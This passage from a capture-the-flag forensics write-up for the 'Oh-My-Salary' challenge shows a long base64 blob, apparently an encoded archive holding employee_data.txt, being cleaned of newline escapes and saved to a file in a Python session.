r+3\n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\n
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

If you look carefully youā€™ll notice that it has a lot of new line escapes, so I used python to print the final base-64 data and save them into a file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# python
Python 2.7.16 (default, Apr 6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print("N3q8ryccAATIxWF+8AoAAAAAAAB6AAAAAAAAANY3kCg6AWnJIc9uESaH5GfcRZ9lKuuWZ/LK8Hnb\nmS+E+XYT7fZ3Nfq4zT1z+BAI9wL3lV5Jsiv/n2EvBE4vc1+PHg/L6QN9AfNG4KihNI8kLHOy02Cz\nJQzLFdT0Zei85AS3CZGZeRQBS+v/U5HYv7AU6K67BU5v
I+WQn3cVlc8WqbXm9bpqkwnvncy/xsTG\nzoMY03OBXLJUU/2jFsF2DOPI+uP6a3t8k5n2NaJGiRF0PsRXk2blrpTc1IFaIYI3ArmjWTuLVxYD\nohLpRppUt4+S4iOMX4AYXrzPNUL4zwEisXj8zAh4RB+E+y/8nmXXzh0Pvn4aQAfw3ZsM4TWyQLVa\nUosmZu9rUICrUlRcskmZD
D25WukXczXGe6lPwzDozKXmfgErTIPv7vJr57nDJffROYagZoAuW2eb\n3OVaeEfPnESeJHKULhXhfFtbqfVUOeU8TUVcym+47hEg8pTasXdPwbsRfjS+HpAJSAZ2pMtVPhXL\nO2AKQBpw70DoQpgHtk84S+hkbE4RALliYcoEPpQSP9GSSFlOV5wQiD9Xv/GTdQ+Cvx+PUYYfTAlI
\nfyNvE4KgrnV03LqhFN7jKJSPImvz6BlPp/wyu2ar+3qjxFfnivSz8Vzmp+fA69gO6xI1WyMT7SfL\nF0PmjtVSR052JmKwvbrfTrFqaef4PfW5fOedyz4/trqE7+xBHqwKqQf8dFUra87uec/VruMJKbuO\nH0sJSCaURkVBFBre9grg0mlXKmxu88ovko5LOLq+S1A1e7DALF6zI
9NzEIMp61r0ZISAC5RBir+3\nIk5xI0vJN+yEgFUzDCYkPJG7F8/76K+m/vgas20WxZTAj+6fpZRVQazxvq+f+ZvrXoPnF5eFKvqF\nqlPHOFn1L1urXts61aFTg+4epVK9JxfPx/6q2iA6Gnw2LHGG4ZkviC7FiOd+GF3ysRd25SOuXUit\njkjUmRQoatL1RVQMbyp9KBkyRnjFUs
9OWwHOkbYgl4REJ/qGd7HMW4h8FeklkQ5Mjv1Sb/fje9RA\n/KxC+KzXoRqexkSBSoxc48zOTbhuAxyDMG5tw1i5SNoLDqYU+u1MkYzUFv5G7cxrhSnE925Qt49t\nvVYboHky0jbgilGqU3j4tRQS2nSf3AskOrW4Fef2VyZVSJ1QKECoJg6cn7sXgG/5eZvczXAAzsIk\nyf/Beb4
/IFc3EIn0L8inS2Ds5rXUq0EyHaqyXwmR2gi1H8T4i9AHsB4HKFD91ThW/agKel8K2BvW\n0Oawglav/RZx4VtOIAkz/j8wvnE6AvA87mbC+bWSUmpE/3m9FuzG6aeMFrPvFJef6C8tLR5VhXWA\nh7zh52kaDTGlFDLnHmUUl99NmKhMqD6rinO6lMVUN1XnqEnftcAtfMeTGtte3i
B5/hwziuiGcekZ\nFKxMLhAM1w5OI0XwbMBvMcgDRMcGS7mLLeVqUrrJpv0/AZ50ilbsop5vamOxFslt70rsJrQI4K7r\norGwlzC8oLqKxlfToV69j2bgSutxjZeJ6eIYhWkoWRWZ0qaaRdM1gDOvr6Swuq2Bz3e+UB7QAfc/\n7S8HL8X6SFa14WkQlXbv63ACkhAbFmDL664u8MM
S6yjukmmBwWILaSjn70HLTSbYYFJFDvsSX4C4\nKxPXprYvHpZYRN7QJ8Z6wh0+8WLGkexFgQ+5gp38ITKw2ZbEpUhyZ7g56pzXzcZ4Ao26imPCPPCM\nkxEjQNb25GazGW1ZeFRBuChEDRGhyHpVBrjHAVEOGHslXDlfiYCBxx4zHAbzl1bY2+JcYPSQysbP\n9Azm8dyjhwFxLTLi
2oijgKt6ebc6yqGkCXYw7Lz35Sv9RlvjxhUDuomszKEx4igGFrfATGZflZWe\neSs/oNSX2hIB3Z+Q/CmF7/iTtL+1/3ppRNfclN6cf6xwkKQDay9+8LW87vHYDdUkyDGebhJVgUEU\nhkVqh84+ybzY8kDeJkYuaNasEHX5QtsEX64RERw38b4dFGxayy2121cHBIvgSy7F+p8tGr/
TAMvk\nS95mq2hCNH+eWAaYbN5KZXCESEMGcRqINziqAwPvtvyltGoshg3ltuZlHLxOZzR8ZkowZSoV5fgo\ng9pSEUGBtBMq2qtDBLlymITFTp3MCFeOb+N+eDgfeFci8hEwnWUjDVoYCgobi48TOb7ABFMXtyiq\nwswb6ISphq0MJTsAq4s2xN7jOC/2axOqojgr7S3hmLjp4wUx
KMdnofRW2jTxnsNnRadGguu/EBYf\nWSHHKKzsdwgJXm+Y0KevgXMn/Pc4qudjB/KHlrVDifWCC/JFMilPhkp4b1AYhryG2qSQTFH0M2l5\nUUYgXSsr1L9Qu512OqpDx4/RRXM8IYilCfwAFz9Ahd7bz4HrJ60WmxJcpkzght6AfPAyg0iI334j\nnmsF9EZWuULIrg9V3kDaicX2I
JqtQmn0jffRWmE3N8PqzO6NlMIMLWfP3C0HImct5iHAoWvkHpIZ\nC9dfbTfUY9SgSfF8kqWyF61NN0m/tuhjc2SDUvHozoOuJrI1ym4zbt/O2keRRBfgeBvo4idO85wP\nXSZnHukci9YTr6Yuegif9ZmU5iPyevxieCGVx8+1LTHHXRdLoTVAKd4pLD0/v/HziHLz6TL2o3Z9\na3
HzhW3On3NM61mDqktNIqlZcEQTjZsw4KcP+EqSETHdb104M1PRxwPnS48DSnsEEOKEJuCULSjm\nA9pwgloS/lQ/OoS9r8jgwNQh3rXwuMeZCCrLSgiTVvVMP8UPH24QMQz3SjVn/K/MkhVQZLh3P8wE\nUzQd/891HbbBwGpuPcnxMXFyJt055EpBNz65f//kV0RHvtqXgLKuKWLdu
Ev/ZLxMWclnIDWOdZzQ\nuriMG0zHRZeLWNDlUmKf3nzFYQEX/27RW5Iwy/Op/qsAb86/+erv5AA616Wf2EyL2Kl6GaBW0EVK\n8LAr1fdxzV/+D/GaX4xeCbrdv/i49TEelUQ2Ut7hNlmqWo09r+1zZZsHo9jsrfUUQfmvoKZhvFuR\nefISfOWWyCoCmxHkyuP5IrW39G78xGMD6p
E+2DqExH1Et8VWCBGXYnz/6BEHM54xYIzN8QbeSwqx\ndKeB4y3jo7NvSfes5T6/Z+WRn3CJ/N4WDYfugACnSlk6BAx83OC+yV41PcjsLHS6x3o1HsOmXwBj\nz/fDuXnAxXvO6bhkVWB/Byvp9blK2Y7995M2Gx9U826Cj/vY+OWbFi8ifLEvulVBMyRpONsJ5CuI\nZZ2nw6QeVYk
2OA8H8+68DcIrArhaH4qaaOLPIny+VRCZ21MF0GzjDZkHJC+k0fH8cdI7aTuXVw0O\nnr8zGZ7rUNgyn7f14thYnqg9C1E+uPgqTp9bPhDuDHG0PApvj4fnORvGzZCU8YfZE22MGhGihTgA\ngmGHshEDvlP/LICC5RPTCR7LwOtmPZeRlbA9C8bl/UwM4h7Az8a1089Uj8PuRvNOz8
Mp3t717KHJ\nOtl0iy++jHj0qfpXkNn3BqmM7FsaP8Opn4efg6UI0nVg8kQqcD5KjWNVyd//Wbnxoo4stjr4DOy7\nLI9Y9kO56NYZ9R54EiXw9UsyXnN4lvy62Al2rjRcpcA2yrK/d52aDjP91AY0Q7PEHG3t++MG0jKl\nVEUPElOjyIQLbFcAAgv0omnHIfG3WrybE1AxVvAq25m
xsS7NuyAQTs1+VOIbN+ZICRL9R6q9BXH+\nJ1yYwjPysIlEyUEfWsGFynPtAGdjtXA8hsDcWZU/k1RFDlYu2w0jAQQGAAEJivAABwsBAAIkBvEH\nAQpTBwRUId45GliZISEBBQEADIrlwMxEAAgKAY5g2lMAAAUBGQUAAAAAABElAGUAbQBwAGwAbwB5\nAGUAZQBfAGQAYQB0AGEA
LgB0AHgAdAAAABQKAQDQbKHeApTVARUGAQAgAAAAAAA=\n")
N3q8ryccAATIxWF+8AoAAAAAAAB6AAAAAAAAANY3kCg6AWnJIc9uESaH5GfcRZ9lKuuWZ/LK8Hnb
mS+E+XYT7fZ3Nfq4zT1z+BAI9wL3lV5Jsiv/n2EvBE4vc1+PHg/L6QN9AfNG4KihNI8kLHOy02Cz
JQzLFdT0Zei85AS3CZGZeRQBS+v/U5HYv7AU6K67BU5vI+WQn3cVlc8WqbXm9bpqkwnvncy/xsTG
zoMY03OBXLJUU/2jFsF2DOPI+uP6a3t8k5n2NaJGiRF0PsRXk2blrpTc1IFaIYI3ArmjWTuLVxYD
ohLpRppUt4+S4iOMX4AYXrzPNUL4zwEisXj8zAh4RB+E+y/8nmXXzh0Pvn4aQAfw3ZsM4TWyQLVa
UosmZu9rUICrUlRcskmZDD25WukXczXGe6lPwzDozKXmfgErTIPv7vJr57nDJffROYagZoAuW2eb
3OVaeEfPnESeJHKULhXhfFtbqfVUOeU8TUVcym+47hEg8pTasXdPwbsRfjS+HpAJSAZ2pMtVPhXL
O2AKQBpw70DoQpgHtk84S+hkbE4RALliYcoEPpQSP9GSSFlOV5wQiD9Xv/GTdQ+Cvx+PUYYfTAlI
fyNvE4KgrnV03LqhFN7jKJSPImvz6BlPp/wyu2ar+3qjxFfnivSz8Vzmp+fA69gO6xI1WyMT7SfL
F0PmjtVSR052JmKwvbrfTrFqaef4PfW5fOedyz4/trqE7+xBHqwKqQf8dFUra87uec/VruMJKbuO
H0sJSCaURkVBFBre9grg0mlXKmxu88ovko5LOLq+S1A1e7DALF6zI9NzEIMp61r0ZISAC5RBir+3
Ik5xI0vJN+yEgFUzDCYkPJG7F8/76K+m/vgas20WxZTAj+6fpZRVQazxvq+f+ZvrXoPnF5eFKvqF
qlPHOFn1L1urXts61aFTg+4epVK9JxfPx/6q2iA6Gnw2LHGG4ZkviC7FiOd+GF3ysRd25SOuXUit
jkjUmRQoatL1RVQMbyp9KBkyRnjFUs9OWwHOkbYgl4REJ/qGd7HMW4h8FeklkQ5Mjv1Sb/fje9RA
/KxC+KzXoRqexkSBSoxc48zOTbhuAxyDMG5tw1i5SNoLDqYU+u1MkYzUFv5G7cxrhSnE925Qt49t
vVYboHky0jbgilGqU3j4tRQS2nSf3AskOrW4Fef2VyZVSJ1QKECoJg6cn7sXgG/5eZvczXAAzsIk
yf/Beb4/IFc3EIn0L8inS2Ds5rXUq0EyHaqyXwmR2gi1H8T4i9AHsB4HKFD91ThW/agKel8K2BvW
0Oawglav/RZx4VtOIAkz/j8wvnE6AvA87mbC+bWSUmpE/3m9FuzG6aeMFrPvFJef6C8tLR5VhXWA
h7zh52kaDTGlFDLnHmUUl99NmKhMqD6rinO6lMVUN1XnqEnftcAtfMeTGtte3iB5/hwziuiGcekZ
FKxMLhAM1w5OI0XwbMBvMcgDRMcGS7mLLeVqUrrJpv0/AZ50ilbsop5vamOxFslt70rsJrQI4K7r
orGwlzC8oLqKxlfToV69j2bgSutxjZeJ6eIYhWkoWRWZ0qaaRdM1gDOvr6Swuq2Bz3e+UB7QAfc/
7S8HL8X6SFa14WkQlXbv63ACkhAbFmDL664u8MMS6yjukmmBwWILaSjn70HLTSbYYFJFDvsSX4C4
KxPXprYvHpZYRN7QJ8Z6wh0+8WLGkexFgQ+5gp38ITKw2ZbEpUhyZ7g56pzXzcZ4Ao26imPCPPCM
kxEjQNb25GazGW1ZeFRBuChEDRGhyHpVBrjHAVEOGHslXDlfiYCBxx4zHAbzl1bY2+JcYPSQysbP
9Azm8dyjhwFxLTLi2oijgKt6ebc6yqGkCXYw7Lz35Sv9RlvjxhUDuomszKEx4igGFrfATGZflZWe
eSs/oNSX2hIB3Z+Q/CmF7/iTtL+1/3ppRNfclN6cf6xwkKQDay9+8LW87vHYDdUkyDGebhJVgUEU
hkVqh84+ybzY8kDeJkYuaNasEHX5QtsEX64RERw38b4dFGxayy2121cHBIvgSy7F+p8tGr/TAMvk
S95mq2hCNH+eWAaYbN5KZXCESEMGcRqINziqAwPvtvyltGoshg3ltuZlHLxOZzR8ZkowZSoV5fgo
g9pSEUGBtBMq2qtDBLlymITFTp3MCFeOb+N+eDgfeFci8hEwnWUjDVoYCgobi48TOb7ABFMXtyiq
wswb6ISphq0MJTsAq4s2xN7jOC/2axOqojgr7S3hmLjp4wUxKMdnofRW2jTxnsNnRadGguu/EBYf
WSHHKKzsdwgJXm+Y0KevgXMn/Pc4qudjB/KHlrVDifWCC/JFMilPhkp4b1AYhryG2qSQTFH0M2l5
UUYgXSsr1L9Qu512OqpDx4/RRXM8IYilCfwAFz9Ahd7bz4HrJ60WmxJcpkzght6AfPAyg0iI334j
nmsF9EZWuULIrg9V3kDaicX2IJqtQmn0jffRWmE3N8PqzO6NlMIMLWfP3C0HImct5iHAoWvkHpIZ
C9dfbTfUY9SgSfF8kqWyF61NN0m/tuhjc2SDUvHozoOuJrI1ym4zbt/O2keRRBfgeBvo4idO85wP
XSZnHukci9YTr6Yuegif9ZmU5iPyevxieCGVx8+1LTHHXRdLoTVAKd4pLD0/v/HziHLz6TL2o3Z9
a3HzhW3On3NM61mDqktNIqlZcEQTjZsw4KcP+EqSETHdb104M1PRxwPnS48DSnsEEOKEJuCULSjm
A9pwgloS/lQ/OoS9r8jgwNQh3rXwuMeZCCrLSgiTVvVMP8UPH24QMQz3SjVn/K/MkhVQZLh3P8wE
UzQd/891HbbBwGpuPcnxMXFyJt055EpBNz65f//kV0RHvtqXgLKuKWLduEv/ZLxMWclnIDWOdZzQ
uriMG0zHRZeLWNDlUmKf3nzFYQEX/27RW5Iwy/Op/qsAb86/+erv5AA616Wf2EyL2Kl6GaBW0EVK
8LAr1fdxzV/+D/GaX4xeCbrdv/i49TEelUQ2Ut7hNlmqWo09r+1zZZsHo9jsrfUUQfmvoKZhvFuR
efISfOWWyCoCmxHkyuP5IrW39G78xGMD6pE+2DqExH1Et8VWCBGXYnz/6BEHM54xYIzN8QbeSwqx
dKeB4y3jo7NvSfes5T6/Z+WRn3CJ/N4WDYfugACnSlk6BAx83OC+yV41PcjsLHS6x3o1HsOmXwBj
z/fDuXnAxXvO6bhkVWB/Byvp9blK2Y7995M2Gx9U826Cj/vY+OWbFi8ifLEvulVBMyRpONsJ5CuI
ZZ2nw6QeVYk2OA8H8+68DcIrArhaH4qaaOLPIny+VRCZ21MF0GzjDZkHJC+k0fH8cdI7aTuXVw0O
nr8zGZ7rUNgyn7f14thYnqg9C1E+uPgqTp9bPhDuDHG0PApvj4fnORvGzZCU8YfZE22MGhGihTgA
gmGHshEDvlP/LICC5RPTCR7LwOtmPZeRlbA9C8bl/UwM4h7Az8a1089Uj8PuRvNOz8Mp3t717KHJ
Otl0iy++jHj0qfpXkNn3BqmM7FsaP8Opn4efg6UI0nVg8kQqcD5KjWNVyd//Wbnxoo4stjr4DOy7
LI9Y9kO56NYZ9R54EiXw9UsyXnN4lvy62Al2rjRcpcA2yrK/d52aDjP91AY0Q7PEHG3t++MG0jKl
VEUPElOjyIQLbFcAAgv0omnHIfG3WrybE1AxVvAq25mxsS7NuyAQTs1+VOIbN+ZICRL9R6q9BXH+
J1yYwjPysIlEyUEfWsGFynPtAGdjtXA8hsDcWZU/k1RFDlYu2w0jAQQGAAEJivAABwsBAAIkBvEH
AQpTBwRUId45GliZISEBBQEADIrlwMxEAAgKAY5g2lMAAAUBGQUAAAAAABElAGUAbQBwAGwAbwB5
AGUAZQBfAGQAYQB0AGEALgB0AHgAdAAAABQKAQDQbKHeApTVARUGAQAgAAAAAAA=
>>> with open("final.b64","w") as f:
... f.write("N3q8ryccAATIxWF+8AoAAAAAAAB6AAAAAAAAANY3kCg6AWnJIc9uESaH5GfcRZ9lKuuWZ/LK8Hnb\nmS+E+XYT7fZ3Nfq4zT1z+BAI9wL3lV5Jsiv/n2EvBE4vc1+PHg/L6QN9AfNG4KihNI8kLHOy02Cz\nJQzLFdT0Zei85AS3CZGZeRQBS+v/U5HYv7AU6K
67BU5vI+WQn3cVlc8WqbXm9bpqkwnvncy/xsTG\nzoMY03OBXLJUU/2jFsF2DOPI+uP6a3t8k5n2NaJGiRF0PsRXk2blrpTc1IFaIYI3ArmjWTuLVxYD\nohLpRppUt4+S4iOMX4AYXrzPNUL4zwEisXj8zAh4RB+E+y/8nmXXzh0Pvn4aQAfw3ZsM4TWyQLVa\nUosmZu9rUICrUlR
cskmZDD25WukXczXGe6lPwzDozKXmfgErTIPv7vJr57nDJffROYagZoAuW2eb\n3OVaeEfPnESeJHKULhXhfFtbqfVUOeU8TUVcym+47hEg8pTasXdPwbsRfjS+HpAJSAZ2pMtVPhXL\nO2AKQBpw70DoQpgHtk84S+hkbE4RALliYcoEPpQSP9GSSFlOV5wQiD9Xv/GTdQ+Cvx+PUY
YfTAlI\nfyNvE4KgrnV03LqhFN7jKJSPImvz6BlPp/wyu2ar+3qjxFfnivSz8Vzmp+fA69gO6xI1WyMT7SfL\nF0PmjtVSR052JmKwvbrfTrFqaef4PfW5fOedyz4/trqE7+xBHqwKqQf8dFUra87uec/VruMJKbuO\nH0sJSCaURkVBFBre9grg0mlXKmxu88ovko5LOLq+S1A1e7D
ALF6zI9NzEIMp61r0ZISAC5RBir+3\nIk5xI0vJN+yEgFUzDCYkPJG7F8/76K+m/vgas20WxZTAj+6fpZRVQazxvq+f+ZvrXoPnF5eFKvqF\nqlPHOFn1L1urXts61aFTg+4epVK9JxfPx/6q2iA6Gnw2LHGG4ZkviC7FiOd+GF3ysRd25SOuXUit\njkjUmRQoatL1RVQMbyp9KBky
RnjFUs9OWwHOkbYgl4REJ/qGd7HMW4h8FeklkQ5Mjv1Sb/fje9RA\n/KxC+KzXoRqexkSBSoxc48zOTbhuAxyDMG5tw1i5SNoLDqYU+u1MkYzUFv5G7cxrhSnE925Qt49t\nvVYboHky0jbgilGqU3j4tRQS2nSf3AskOrW4Fef2VyZVSJ1QKECoJg6cn7sXgG/5eZvczXAAzsIk\ny
f/Beb4/IFc3EIn0L8inS2Ds5rXUq0EyHaqyXwmR2gi1H8T4i9AHsB4HKFD91ThW/agKel8K2BvW\n0Oawglav/RZx4VtOIAkz/j8wvnE6AvA87mbC+bWSUmpE/3m9FuzG6aeMFrPvFJef6C8tLR5VhXWA\nh7zh52kaDTGlFDLnHmUUl99NmKhMqD6rinO6lMVUN1XnqEnftcAtfMeT
Gtte3iB5/hwziuiGcekZ\nFKxMLhAM1w5OI0XwbMBvMcgDRMcGS7mLLeVqUrrJpv0/AZ50ilbsop5vamOxFslt70rsJrQI4K7r\norGwlzC8oLqKxlfToV69j2bgSutxjZeJ6eIYhWkoWRWZ0qaaRdM1gDOvr6Swuq2Bz3e+UB7QAfc/\n7S8HL8X6SFa14WkQlXbv63ACkhAbFmDL6
64u8MMS6yjukmmBwWILaSjn70HLTSbYYFJFDvsSX4C4\nKxPXprYvHpZYRN7QJ8Z6wh0+8WLGkexFgQ+5gp38ITKw2ZbEpUhyZ7g56pzXzcZ4Ao26imPCPPCM\nkxEjQNb25GazGW1ZeFRBuChEDRGhyHpVBrjHAVEOGHslXDlfiYCBxx4zHAbzl1bY2+JcYPSQysbP\n9Azm8dyjhw
FxLTLi2oijgKt6ebc6yqGkCXYw7Lz35Sv9RlvjxhUDuomszKEx4igGFrfATGZflZWe\neSs/oNSX2hIB3Z+Q/CmF7/iTtL+1/3ppRNfclN6cf6xwkKQDay9+8LW87vHYDdUkyDGebhJVgUEU\nhkVqh84+ybzY8kDeJkYuaNasEHX5QtsEX64RERw38b4dFGxayy2121cHBIvgSy7F+
p8tGr/TAMvk\nS95mq2hCNH+eWAaYbN5KZXCESEMGcRqINziqAwPvtvyltGoshg3ltuZlHLxOZzR8ZkowZSoV5fgo\ng9pSEUGBtBMq2qtDBLlymITFTp3MCFeOb+N+eDgfeFci8hEwnWUjDVoYCgobi48TOb7ABFMXtyiq\nwswb6ISphq0MJTsAq4s2xN7jOC/2axOqojgr7S3hmL
jp4wUxKMdnofRW2jTxnsNnRadGguu/EBYf\nWSHHKKzsdwgJXm+Y0KevgXMn/Pc4qudjB/KHlrVDifWCC/JFMilPhkp4b1AYhryG2qSQTFH0M2l5\nUUYgXSsr1L9Qu512OqpDx4/RRXM8IYilCfwAFz9Ahd7bz4HrJ60WmxJcpkzght6AfPAyg0iI334j\nnmsF9EZWuULIrg9V3kD
aicX2IJqtQmn0jffRWmE3N8PqzO6NlMIMLWfP3C0HImct5iHAoWvkHpIZ\nC9dfbTfUY9SgSfF8kqWyF61NN0m/tuhjc2SDUvHozoOuJrI1ym4zbt/O2keRRBfgeBvo4idO85wP\nXSZnHukci9YTr6Yuegif9ZmU5iPyevxieCGVx8+1LTHHXRdLoTVAKd4pLD0/v/HziHLz6TL2o3
Z9\na3HzhW3On3NM61mDqktNIqlZcEQTjZsw4KcP+EqSETHdb104M1PRxwPnS48DSnsEEOKEJuCULSjm\nA9pwgloS/lQ/OoS9r8jgwNQh3rXwuMeZCCrLSgiTVvVMP8UPH24QMQz3SjVn/K/MkhVQZLh3P8wE\nUzQd/891HbbBwGpuPcnxMXFyJt055EpBNz65f//kV0RHvtqXgLK
uKWLduEv/ZLxMWclnIDWOdZzQ\nuriMG0zHRZeLWNDlUmKf3nzFYQEX/27RW5Iwy/Op/qsAb86/+erv5AA616Wf2EyL2Kl6GaBW0EVK\n8LAr1fdxzV/+D/GaX4xeCbrdv/i49TEelUQ2Ut7hNlmqWo09r+1zZZsHo9jsrfUUQfmvoKZhvFuR\nefISfOWWyCoCmxHkyuP5IrW39G78
xGMD6pE+2DqExH1Et8VWCBGXYnz/6BEHM54xYIzN8QbeSwqx\ndKeB4y3jo7NvSfes5T6/Z+WRn3CJ/N4WDYfugACnSlk6BAx83OC+yV41PcjsLHS6x3o1HsOmXwBj\nz/fDuXnAxXvO6bhkVWB/Byvp9blK2Y7995M2Gx9U826Cj/vY+OWbFi8ifLEvulVBMyRpONsJ5CuI\nZZ2nw
6QeVYk2OA8H8+68DcIrArhaH4qaaOLPIny+VRCZ21MF0GzjDZkHJC+k0fH8cdI7aTuXVw0O\nnr8zGZ7rUNgyn7f14thYnqg9C1E+uPgqTp9bPhDuDHG0PApvj4fnORvGzZCU8YfZE22MGhGihTgA\ngmGHshEDvlP/LICC5RPTCR7LwOtmPZeRlbA9C8bl/UwM4h7Az8a1089Uj8Pu
RvNOz8Mp3t717KHJ\nOtl0iy++jHj0qfpXkNn3BqmM7FsaP8Opn4efg6UI0nVg8kQqcD5KjWNVyd//Wbnxoo4stjr4DOy7\nLI9Y9kO56NYZ9R54EiXw9UsyXnN4lvy62Al2rjRcpcA2yrK/d52aDjP91AY0Q7PEHG3t++MG0jKl\nVEUPElOjyIQLbFcAAgv0omnHIfG3WrybE1AxV
vAq25mxsS7NuyAQTs1+VOIbN+ZICRL9R6q9BXH+\nJ1yYwjPysIlEyUEfWsGFynPtAGdjtXA8hsDcWZU/k1RFDlYu2w0jAQQGAAEJivAABwsBAAIkBvEH\nAQpTBwRUId45GliZISEBBQEADIrlwMxEAAgKAY5g2lMAAAUBGQUAAAAAABElAGUAbQBwAGwAbwB5\nAGUAZQBfAGQAYQ
B0AGEALgB0AHgAdAAAABQKAQDQbKHeApTVARUGAQAgAAAAAAA=\n")
... f.close()
...
>>> exit()
